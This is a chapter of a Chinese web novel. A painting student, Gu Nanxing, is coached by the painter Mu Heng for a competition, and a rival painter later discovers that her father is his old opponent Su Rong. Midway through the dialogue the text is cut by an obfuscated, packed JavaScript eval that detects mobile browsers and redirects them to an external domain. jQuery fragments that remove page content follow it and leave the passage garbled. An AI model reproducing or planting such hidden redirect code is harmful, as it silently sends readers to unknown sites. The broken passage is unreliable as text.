41. 第 41 章

作品:《白山茶

    “离比赛的时间没有多少天了。”


    顾南星放下捂着脑门的手,心里面这才后知后觉地有了些紧迫感。


    她这次真心实意地为自己这段时间的不在状态道歉,“我明白。我保证这种情况在比赛前不会发生第二次。”


    “在比赛前?”木恒眼尾一挑,怒道,“比赛的时候也不准!”


    “对对,我就是这个意思。”顾南星缩了缩脖子。


    木恒看着她一幅很害怕自己的模样就来气,哪怕她是装的,他也难以忍受。本来自己就是抽出时间来为顾南星辅导,她还一幅心不在焉的样子,他是吃力不讨好。越想越来气,他忍不住抬头想去骂顾南星。


    却与她的视线相撞。


    顾南星的眼睛很清澈,眼底的情绪能一眼望到底,所以木恒能轻而易举地辨认出她眼里的坚定究竟是假装的还是真心实意。


    嗯,现在是真心实意。


    他有些漫不经心地撇开眼,忽视耳尖莫名漫起的热意,将嘴里那些批评咽了下去,最后憋了半天,憋出一句,“你自己的事,你自己想清楚。”


    顾南星知道木恒这么说,是代表着这一页翻过去了,松了一口气,她忙补充道,“嗯嗯,这是自然的。”


    接下来的时间,她再也不敢走神,很认真地听着木恒所说的一字一句。仔细听就能发现,木恒虽然平时不着调了点,但他作为现阶段国内最著名的国画大师这个名头还真不是空穴来风,他说的很多东西是平时老师不会讲的,但却恰恰好是最适合这个时候的顾南星的。


    他告诉顾南星,如何把握线条的细节,如何控制下笔的力度,如何让自己的思绪投入进画里,如何能更顺利地展现出自己想表达的东西。


    这些抽象的概念却能被他描述得简洁易懂,顾南星由衷道,“我觉得你就算不画画,当个老师也挺好的。”


    木恒睨了他一眼,优雅道,“住口。”


    顾南星:……


    尽管不给人讲课时的木恒还是一如既往的讨厌,但不得不说,顾南星听完他所说的东西,是真有种豁然开朗的感觉。


    于是她又开朗地向木恒表达了她的谢意,得到了木恒的一个白眼。


    顾南星:……


    她忍。


    木恒看着画纸上顾南星画的画,蹙了蹙眉,“你画画的时候,会想什么吗?”


    “会想什么?”顾南星眨了眨眼,不太理解木恒的意思,“我一般是想到什么就画什么。”


    木恒沉吟了一会,“那有没有一种东西,是能让你持续不断地产生灵感,或者说,想一直画的欲望?”


    顾南星被他这一段话问懵了,自己好像确实从来没有思考过这个问题,她每次都是想到什么东西就画什么东西,找不到灵感的时候就随便翻翻书,感觉来了灵感就开始画,能让她一直从中获取灵感并且产生想画的欲望的这种东西,似乎是没有的。


    真的没有吗。


    她莫名想到了那天在苏容画室看到的白山茶、画室里绽放的白山茶与苏容送给她的,那一小盆白山茶。


    木恒见她神色带上了些茫然,露出了自今天来到这里的第一个笑,“如果不清楚的话,那就去找一个吧。”


    “画画是一件很复杂,但也很纯粹的事。总有一样东西在画家的心里具有特殊的含义,能为之提供源源不断的创作欲望。也只有这样的画家,才能走得长远。”


    “你可以先好好想想,如果想明白的话,说不定能在比赛甚至是未来的职业生涯中大有裨益。”


    木恒起身,像是准备离开的样子。


    顾南星喊住他,“那你找到了吗?”


    她问,“你的灵感源泉,找到了吗。”


    木恒看着面前的人,她这话问得其实有点越界了,如果换做旁人问他这种事,他绝对会沉下脸不给面子地拒绝回答,但是问的人是她。


    问的人是她的话,那姑且答一下吧。


    他微微笑了笑,“找到了啊。”


    “但是具体是什么,我觉得应该算是不太方便透露。”


    顾南星这会儿才反应过来,已经在懊恼自己刚才的心直口快,本来做好了被木恒无视的准备,却没想到木恒居然还回答她了。


    她忙点点头,“我知道了。”


    “那我就先走了,你如果之后还有什么问题的话可以给我发信息,我看到了就会回复的。”


    他往前走了几步,想什么似的又回头道,“对了,这段时间我一有空就会来学校画室这边,你要是在画室的话我还能在辅导辅导你。”


    他这话说的漫不经心,但顾南星却明白他的好意,心下涌起一阵暖流,她点点头,感激道,“好的,谢谢。”


    木恒有些受不了她突然变得这么客气的腔调,白了她一眼,“你少来了啊,我又不是专门为了你才来的,还有,下次记得叫我师兄。”


    虽然不是很明白为什么木恒这么执着于让她喊他师兄,但也毕竟只是一个称呼而已,所以她便喊了。


    “谢谢你,师兄。”


    木恒顿了顿,颇有些新奇地看着她,“哎对,就该这么喊,下次你见到我也要这么称呼。”


    “可我又不是吴院长收的徒弟,我这么喊你能行吗?”


    “你这话说的可就见外了啊。”木恒摆摆手,“他如果没有教导你的心思,就不会在那天喊我让我过去帮你解围了。”


    顾南星怔愣。


    “你那天来办公室是因为吴院长?”


    她记得之前木恒还说过是他自己在背后推波助澜,那时吴映光交代了一句“让木恒为你解释”就去泡茶了,她倒还真信了木恒的说辞,现在来看,原来这一切都是吴映光谋划的?


    “老头从一开始就盯上你的画了,要不然也不会在你高考结束后就急吼吼地给你家里打电话,又是承诺给你单独的画室又是啥的,我都没有这待遇。”他撇了撇嘴,“他前两年又生病了,所以就基本不怎么在学校出现了,今年他身子骨好不容易好了点,说什么都要来学校里待着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042381|162593||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    “你说说,他为什么这么急着要来学校?”


    木恒笑眯眯地看着顾南星。


    “Inspiration每五年举办一次,今年正好距离上一次举办有五年的时间。”


    原来是这样。


    顾南星只觉得这一切都不真实极了,她从来不觉得自己画的有多好,也没想过吴映光能被自己的画所打动。


    更没想到,吴映光会愿意把比赛的名额留给她。


    她说不上来心里是什么感受,这种沉甸甸的重量压在自己的身上,让人的意识都开始紧绷起来。


    木恒不知是有意,还是无意地说了一句,“不过你也不用紧张,能拿奖自然是最好的,拿不到也没关系。他老人家很好讲话的。”


    顾南星:……


    这么说反而让人更紧张了啊喂!


    不过事到如今,既然吴映光愿意把这个机会留给她,那么她也只能迎面而上了。她从来不是喜欢逃避的人,也向来不愿意过偏安一隅的生活,况且这场比赛对于她来说百利而无一害,不仅能让自己的绘画技艺提高,见识到更多不同的对手与不同的绘画风格,还能让自己的知名度提高,又何乐而不为呢?


    心里这么乱七八糟地想着,反而让自己更加坚定了下来。


    她对木恒点点头,“我明白了。”


    画室的灯光明亮,照得她那双眼睛更加明亮,熠熠生辉。


    =========================================


    “这是今年的参赛名单,请您过目。”


    富丽堂皇的酒店房间里,穿着黑西装的男人毕恭毕敬地将手里的名单向前呈了呈。


    “嗯?”仰躺在沙发上的男人半眯着眼睛,似乎不满自己的休息被人打断,随意地伸出手,“拿来我看看。”


    他一目十行地扫过,哼笑,“英国凯思特家的小儿子,美国加西亚家的小闺女,法国帕修斯家的小儿子……还真没有新意,每年都是这些家族。”


    “嗯?”他视线一顿,定格在某个名字上,用有些蹩脚的汉语将人名读了出来,“顾……顾南星?”


    “这是哪个家族的?亚洲的吗?我怎么从来没听说过这个姓?”


    他像是来了兴趣,做起身,拿着名单看向穿着黑西装的男人。


    “这是c国顾家的女儿,她随母姓,或许您会知道她父亲的名字。”


    “哦?”他挑了挑眉,“c国啊……似乎Inspiration的金奖得主还没有亚洲人呢。不过也无所谓了,除了木恒那个家伙画得还能让人稍微称赞一句,他们其他人画的也真是拙劣至极。”


    他仰了仰下巴,带着些轻视道,“我会知道她父亲的名字?我亲爱的图斯,你是不是昏头了?我怎么可能会知道这种三流小画家的名字?”


    “事实上,这应该是您的老朋友了。”图斯毕恭毕敬道,“她的父亲,正是与当年的您一起参加比赛的对手,苏容。”